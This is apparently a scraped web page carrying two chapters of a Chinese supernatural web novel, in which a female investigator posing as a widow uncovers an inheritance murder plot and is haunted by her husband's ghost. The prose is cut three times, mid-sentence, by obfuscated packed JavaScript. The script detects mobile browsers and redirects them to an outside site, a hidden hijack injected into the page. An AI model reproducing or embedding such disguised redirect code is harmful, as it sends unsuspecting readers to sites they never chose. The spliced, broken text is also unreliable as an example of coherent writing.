RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16514947|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟知:“怎么了?” 白顾半是纠结地,“昨天我准备调查的时候,翻过手机上的通讯录。因为‘我’在这里是医生,所以认识的人也都在行业内,我联系了几位‘朋友’。” 宁孟知点头,“做得不错。要善用原身的人际关系网络。” “谢谢楚姐。”白顾下意识答了一句后,又回神,“我不是说这个……我的意思是楚姐你要是有需要的话,可以联系这个人,报‘我’的名字就行。” 他这么说着,半转身去车子旁边的储物箱翻找了片刻,很快就找到一张名片递过来。 宁孟知低头一看。 某某妇产医院副教授。 白顾:“我听人说孕前期很危险,还有很多不良反应,不知道楚姐你需不需要。” 宁孟知:“……” 她忍不住盯着白顾看了一会儿,表情怪异。 在这样的注视下,白顾的神色一点点尴尬起来,他硬着头皮:“要是没什么,就当我没说。” 宁孟知哧地一下笑出声,“你姐还真没说错。” 这弟弟人怪体贴的。 宁孟知晃了晃手里的名片,“谢了。” 白顾还准备说什么,突然觉得一阵冰凉的寒意席卷而来。 宁孟知也觉得身上有些发冷,她忍不住搓了搓手臂,跺了两下脚,奇怪地看了两眼正当空的大太阳。 白顾:“好像降温了,楚姐你先回去吧。” 宁孟知谢过这位白弟弟的好意,匆匆回了房间,随手把名片放在一旁的鞋柜上。 她并没有再细看的意思,副本里的身份而已,又不是真孕妇,不用那么在意。 奇怪的是,她刚刚一副不在意的态度把名片扔到了一边,那股突然的冰冷突然消散了,还不及深想,先一步发现了大变样的客厅。 看着仍在忙忙碌碌的赵兰,宁孟知奇怪地,“赵阿姨,这是?” 赵兰像是早就想好了解释的话,只是支吾了片刻,就流畅地说了下去,“家里的布置一直不变也怪闷的,小夫人昨天还说看见照片伤心,我想着把客厅的布置一块儿改了,也免得小夫人睹物思人。这大厅的装修本来就是原木风格的,仓库里有不少木头的摆件,既然要换风格,我就都拿出来了……小夫人您看这桃木麒麟雕得精致,您要不要放在床头。” 赵兰说着,指了指一旁吧台上的工艺品桃木麒麟。 她本来想让宁孟知摆佛像的,但是怕对方忌讳,才退而求其次,选了桃木摆件。 宁孟知若有所思地答应下:“谢谢赵姨。” 赵兰摆了摆手,见宁孟知拿着就要上楼,她忍不住强调:“摆在床头啊,一定要摆在床头。” 宁孟知点头应下。 等进到卧室之后,她看着手里的木雕收敛了神色。第二次了,这个副本里难不成真的有“鬼”? 如果是这样,这可是准B级了。 15.遗产04 李振从那天差点被斧头砸了脚之后,就有点疑神疑鬼,连接下来几天的晚班都和同事换了。晚班当然没人愿意值班,但郑世松出事后,之前的保安能走的都走了,他是留下的人里面资历最老的,凭资历压人,又加上晚班的工资更高,倒也成功把这班换出去了。 但早起交班的时候,他在旁边的水泥台阶上看见一点燃烧留下的黑灰,还有些没烧尽的符篆残留。 联系到这几天别墅发生的种种异状,李振脸色一下子惨白。 他全没有去交班的心情,快步绕到墙后面,哆嗦了几次才拿起身上另一部不常用的手机,抖着手拨通了通讯录上唯一一个号码。 铃声响了好一会儿,对面才接起来,接通提示音响起来的一瞬间,李振就控制不住脱口而出,“从涛先生,钱我退给你,这活您换人干吧!!” 他是被郑从涛雇佣,留下关注别墅里有什么异常的。尤其是注意女主人有没有和什么人幽会。 像是没想到会听到这样的话,对面停顿了一下,才声音冷静地,“怎么了?是发生什么事了?” “不、不……郑先生、郑先生他回来了!” 通话另一边传来笔掉落的声音,“你在哪看见他的?!他怎么回去的?!” 他居然还活着?! “我、我没看见他。但是他肯定回来了……” 李振语无伦次地把这几天别墅里发生的怪事一一说了。 通讯另一边,郑从涛:“……” 他猜对方这是第一次干这种监视的活,做贼心虚,才觉得别墅里闹鬼。 郑从涛抬手按了按眉心,蹲下.身去把刚才掉下去的那根笔捡起,听着那边语气惊慌的絮絮叨叨,他强忍住不耐和烦躁劝慰了几句,又连连许诺加钱,才稍稍安抚住对面。 办公室的玻璃门被敲响,秘书拿着文件在外面示意了一下。 郑从涛冲着外面点点头让人进来,对着电话那头,“那就先这样,我这里还有事……你帮他看着那女人有没有出.轨,他谢你还来不及,你有什么好怕的?” 草草开解了这么一句,秘书已经推门进来,汇报了刚才的工作:“小郑总,已经集齐了董事会签名还有郑总的死亡证明。我刚刚去了一趟银行,把文件取出来了。” 郑从涛脸上总算带出了点笑意:“太好了,待会儿开会要用。辛苦你一大早跑一趟。” “还有一件事,昨天您让我去郑总办公室找的那份遗嘱文件,我昨天晚上去找过了,但没有找到。” 郑从涛不在意地,“你等会再去找找,不会没有的。” 这可是他亲手放进去。 秘书答应了一声,重新把这件事放进了待办清单里。 那边郑从涛刚把资料袋打开,先看见里面的一份手写文件,不由心生疑惑:这里面都是公司的一些核心文件,按理说不应该有手写的。 他纳闷地把这张纸取出来,等看清上面的内容之后,不由愣住了。 秘书也讶然:“这是?!” 郑从涛已经把多余的神色收敛地干干净净,一副感慨的语气:“我这两天还担心我哥留下孩子得不到照顾,原来他早有安排。这下子好了,我不用担心我那侄子还没出生就无家可归了。” 他像是真的安下心,把这份手写遗嘱放在一边,又交代了几句别的,把秘书打发出去。 等人走后,郑从涛又重新抽出那份遗嘱。 看了一会儿,他突然笑出了声,“他真是想儿子想疯了。” 还不知道是不是他自己的呢。 心底嘲笑一通之后,看着这份遗嘱,他却一点点皱起了眉。遗产归属有漏洞,他才好钻空子,这么写得明明白白,反而麻烦了。 他沉吟了一会儿,拿出手机打了一个电话,“喂,要见面聊聊吗?” …… 这边郑从涛在给自己堂哥留下的公司辛苦打工,宁孟知却在郑家的别墅一觉睡到了大天亮。 有钱的寡妇生活看起来悠闲自在,但在副本里睡得这么香可不是好事。 一觉起来,整个身体都是僵硬,冰凉的感觉深深渗到骨头里,仿佛抱着冰块睡了一.夜似的,也或者被冰块抱着。 想到这或许是个准B级副本,宁孟知脸色顿时不大好起来。 得早点结束。 刚这么想着,被扔在床头柜上的手机突然响了起来,备注的“潞潞”是个女性昵称,原身一块儿混酒吧的狐朋狗友之一,记忆被触发,某些零碎的片段也跟着在耳边闪现。 “你看没看那个新闻啊?G国富豪,原配多年无子,突发心梗去世,居然是有儿子的小三上位,住进了豪宅……真让人大开眼界。” “你可倒好,有那么有钱的爸,不用操心别的事。真要是找了老公,对方敢出.轨,直接打断他的腿……” “唉,你可盯着点你爸,万一他在外面瞎搞,有了别的孩子,你的继承权可就危险了。” 原主自卑的心态作祟,对外交友都是用的白富美人设。她一身名牌,花钱也大手大脚,还真的受了不少人追捧,这个潞潞就是其中之一。 但从宁孟知的视角来看,这个潞潞的话,怎么听都像是别有深意的样子。 太长时间没接,那通电话已经自行挂断,但是铃声很快就再次响起,颇有些打不通不罢休的样子。 宁孟知盯着闪烁的屏幕看了一会儿,拿起了手机。 线索送到了手边,没道理放过。 这真的是个C级副本,宁孟知可以留出时间和空间让白顾自由发挥。但这要是个准B级,情况就不一样了,B级副本已经足够对调查员构成生命威胁了。 通话刚一接通,对面那声调略高的声音就传了过来,“楚楚,你怎么才接电话?” 她先声夺人地质问了一句,没给反驳的机会,就立刻软下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16521954|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了语调,“你可久都没来玩,想死我了!到底哪个男人勾得我们楚大小姐乐不思蜀,连出来玩的时间都没了?这是打算从良了吗?” 先硬后软,原主看似是个买单的大小姐,实际上被拿捏的死死的。 宁孟知学着原主的语气,隐隐不耐地,“最近有事,就先不出去了。” 那边浑不在意,“什么事啊?你该不会被你爸压着相亲吧?唉,我可跟你说,像你这种大小姐,可不能绑死在一个男人身上,你有钱有貌的,睡多少男人都是应该的。‘君山’来了个新人,可帅了!不是姐妹我都不跟你说,今晚九点不见不散,就这么说定了啊!!” 她自顾自地说完,就挂断了电话,根本没给对面拒绝的机会。 某会所包间,潞潞对着的对面的男人耸了耸肩,“搞定。她可好哄了……要拍照吗?我手里她的照片够多了,怎么、还嫌尺度不够大啊?” * 楚楚确实很好哄,但宁孟知却不是。挂断电话之后,她直接联系了白顾。之前白顾就想要通过楚楚确定背后的人,有了现在的线索,直接从这个号码着手调查。 白顾奇怪:“楚姐,你好像有点着急?” 之前还让他慢慢调查的。 宁孟知没有直接提起副本可能是B级的事,给对面平添压力,只是含糊地:“早点结束吧,免得出变故。”顿了下,又补充,“你查的时候注意安全,有不对的地方,立刻联系我。” 白顾听出了这语气下的严肃,“好。” 等宁孟知挂断电话,身上又觉一阵沉沉的凉意。 在没有人看见的地方,[涂肖]伸手来环抱了过来,他凑近贴住了宁孟知的脸,在她耳边轻声呢喃,“你不喜欢她?不用那么麻烦。” 半天后,宁孟知接到了白顾的电话,对面的语气干涩,“楚姐,程潞死了……你看新闻了吗?” 程潞死了。 不仅死了,还爆出了安宜慈善基金的内幕。 她是安宜基金会某位管理的情.人,她的突然死亡,导致住宅处被查出了大量的证据,不仅暴露了安宜慈善基金挪用公款的事情,还有许多郑世松的行程资料,隐隐指向郑氏集体已故前执行总裁死亡与安宜慈善的这位管理有关。 说完消息后,白顾也有点茫然,“楚姐,我要继续查下去吗?” 他还什么都没来得及干,对面就好像因为意外自爆了。 宁孟知刚想要说话,声音却卡在了喉咙里。 她终于看到了,一个朦胧的影子正抱着她,五官模糊,看不清具体的长相,似乎注意到她的注视,那影子一点点贴近,冰冷的亲吻落在颊侧,耳边传来低声呢喃,[别一直找他帮忙。我不喜欢。] “喂?楚姐你能听到吗?你那边好像有杂音。” 宁孟知掌心冷汗都下来了,她强行冷静下来,对着另一边镇定地,“暂时不用了,先观察看看。” 16.遗产05 前后态度转变这么大,白顾就是再没经验也觉出不对劲了。 再想想之前宁孟知突然严肃起来的嘱托,他不由担心,“楚姐,是不是你那边出什么事了?” 冰凉的呼吸洒在脖颈上,带着与活人截然不同的温度。 宁孟知定了定神,声音已经完全平稳下来,让人听不出区别:“安宜基金会的管理人出事,之后一定会有人调查。如果幕后还有人,现在肯定会想办法遮掩证据,这时候旁观比蹚进这趟浑水里面更容易看清楚。” 这说法很有道理,白顾被说服了。 “好,楚姐,我会盯着的。” 终于结束了通话,宁孟知却没有松口气。 接下来才是一场硬仗。 她转头看向旁边的模糊的影子,像是不确定地,“老公?” 那身影答应了一声,依旧看不清面目。 但入耳的声音却很熟悉,熟悉到让宁孟知忍不住想起了上个副本。 ……为什么最近副本里总会遇到这种事?! 以前也没有啊! 托上个副本的福,宁孟知演技大有提升,不但这声“老公”叫得毫无压力,只稍微酝酿一下,眼泪就唰地下来了,哽咽地:“亲爱的,是不是有人害你?你放心,我一定会帮你找出凶手的!” 不管怎么样,解开郑世松死亡的原因,都是这个副本通关的关键。 直接询问当事鬼也是方法之一。 那只鬼一时没有回应,宁孟知并不奇怪。要是郑世松知道害死他的是谁,那这个副本就是报复凶手,而非找出谋夺遗产的人了。 不过这不妨碍宁孟知哭得上气不接下气。 原身并不清白,却也不是最后动手的人,她保证在调查出来真相之前自己不被怀疑。 正想要再接再厉,保证几句“一定会帮他找到凶手”,却突然被捧起了脸。 有什么冰凉东西在脸颊上蹭过,擦掉了眼泪,轻柔的吻紧跟着落在眼角,他声音似乎叹息,“别哭了,会找到的。” 于是接下来,仅仅几天的时间,那位前安宜基金的管理私底下种种作为的证据就因为各种巧合被发现。拔出萝卜带出泥,他除了挪用公款和谋杀,名下还有好几家酒吧ktv有涉及情.色的不法行为,一时之间舆论哗然。 如果以正常的C级副本而言,查明到这种程度,已经可以结束了。但是这个副本却丝毫没有消散的意思,反而是那只鬼的影子开始渐渐凝实——他在主动控制这个副本。 宁孟知已经觉出不对了,这只鬼绝对不是原本的C级副本的核心! 看着那隐隐能够看清、透露出熟悉模样的五官,宁孟知猜到是怎么回事了:上个副本在她身上的残留影响还没有结束,和这个副本的能量重叠,让原本C级副本产生了变异。 这种情况很少发生。 一来极少有调查员解析副本到那种地步,以至于直接被副本核心影响;二来调查局也会主动规避风险,不会状态异常的调查员进入副本。但宁孟知因为身为穿越者的原因,对调查局隐瞒了部分个人情况,她自己又因为记忆问题,没有想起相关注意事项。 总之是各种巧合凑到了一起,才有这种变化。 …… 不能让对方这么控制下去了,宁孟知主动联系了郑从涛,电话里隐隐透露出自己知道对方的计划。这么一诈,郑从涛果然主动上门了。 比起上次来时的西装革履温文尔雅,他这次气质明显阴郁了许多,“是我小看你了。本来以为我哥找了个小白花,没想到是食人花。我早该想到的,能哄得我哥写下这种遗嘱的怎么可能是简单人。” 宁孟知:“什么遗嘱?” 郑从涛却只是冷笑:“到了现在了,你就别在我面前装了,毕志民把你当傻子才是真的傻子。我也没想到,我哥防着安宜基金会、防着郑家人、防着我、防着董事会……防了一辈子,最后却栽到一个女人身上。” 毕志民,就是那位正在被彻查的安宜基金会管理人。 安宜慈善基金成立初始,其实是以基金会的名义帮公司做一些不方便直接操作的行为,所谓管理层也只是傀儡。事实上,郑世松这个人谁也不信,立遗嘱也只是为了以防自己出了意外,便宜了郑家的其他人。郑从涛自问兢兢业业替堂兄办事这么多年,结果在对方眼里却是个随时被踢出集团的打工人,他当然心中不满,正好基金会的某位管理悄悄挪用公款,郑从涛拿住了对方的证据,半是威胁、半是利诱,两方一拍即合,才有了这次合作。 毕志民动手,让郑世松意外身亡。再由郑从涛出面,借由郑世松遗孀和未出世孩子的理由争夺遗产,拿到的钱两人再行分配。至于说楚楚,不过是计划中最微不足道的一环,到时候给个几百万打发了就能解决。 郑从涛费这么大的周折,非要找个中间人,就是不想要这件事有丝毫牵扯到自己身上。 他和郑世松不愧是堂兄弟,谋划的时候就防了一手,以至于这会儿毕志民身陷囹圄,却没有办法攀咬到这么一位合作方。 但那份遗嘱一出,他这些计划都成了空。 郑从涛也不想辛辛苦苦谋划了这么多,到头来却为他人做了嫁衣裳。 “我这次来是和你开诚布公的,生意场上讲究多个朋友多条路,自己吃肉也得给别人喝点汤,你要是一口独吞了,总有别人看不过眼使绊子。”郑从涛这么说着,笑着推过去一个文件袋,“嫂子不妨看看这些东西。” 宁孟知:“……” 她猜到了那份文件袋里有什么了。 程潞是毕志民的人,她带着原主泡吧找男人,又不停地旁敲侧击、鼓动原主借子上位,总不可能就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16524912|185550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了给郑世松戴个绿帽子,她手里肯定留有证据。 沙发一旁,那个已经显露五官的身影静静的在旁边看着,他眼神专注地落在宁孟知身上,像是对对面的青年毫不关心。 宁孟知没碰那文件袋,直接问:“你想要什么?” “不着急。嫂子不如先看看这些照片?” 宁孟知:“你直接谈条件吧。” 这个副本里的“丈夫”就在旁边看着,她还不想这么死在这里。 但是这直截了当询问反而被郑从涛看出了问题,本来只是六.七分把握的他顿时觉得握住了主动权,“嫂子还是看看吧?虽然有那份遗嘱在,但我哥写下遗嘱的时候,可不知道你在外面胡搞。这么说起来,你那孩子还不知道是谁的种……” “哔啵”的声响打断了郑从涛的话,茶几的表面出现了蛛网般的皲裂,碎屑簌簌地落向地面,正对话的两人同时止了声。 宁孟知从郑从涛开口就意识到自己表现得太急了,但这会儿却来不及补救。 而对面的郑从涛只觉得一股毛骨悚然的感觉自心底升起,本能催促这他赶紧离开这块地方。他还是循着内心的感受,站起身来,强撑着补充一句,“你好好考虑一下,不然等这些照片传到网上,就算有那份遗嘱在,你也不一定能拿到遗产。” 说完,也不等宁孟知的回答,就头也不回地离开了别墅,仿佛背后有鬼在追。 或许因为真的有“鬼”。 被留下的宁孟知放缓了呼吸,客厅一下子安静下来,连本来应该过来收拾待客杯子的赵兰也不知道被什么绊住,一时没有进来。 隔了一会儿,那份文件袋凭空飘了起来。 宁孟知下意识伸手去拦,“啪”的一声,文件袋掉落在地上。 袋子并未封口,里面的照片散落了一地。照片上的女人画着几乎看不出本来面目的艳丽浓妆,有和人接吻的、有贴身热舞的、还有坐在人怀里、交颈纠缠、不分你我的……每一张照片里都是不同的男人。 [你喜欢他们?] 散落的照片一张张漂浮起来,多数的照片都拍摄在酒吧。昏暗的光线下,各种颜色的射灯在脸上映出五彩的光斑,旁边酒瓶被灯光映得透亮,宁孟知分明看见其中一张照片上,原主的腰被一个黑色背心的青年揽着,却倾身往前和桌对面的男人接吻……尺度有点过于大了。 [涂肖]的目光随着宁孟知一块落到了这张照片上,他似乎并没有很大情绪波动,但周遭的一切都开始扭曲。 碎裂的茶几恢复了原状,又一点点被塑造成吧台桌的样子,房间内的光线也昏暗下去,像是从白昼转变成黑夜,屋内清新的空气一点点被酒吧内混杂的酒气的香氛取代,宽敞的客厅一侧显露出舞厅的雏形…… 宁孟知:??! 等等!ta想干什么?!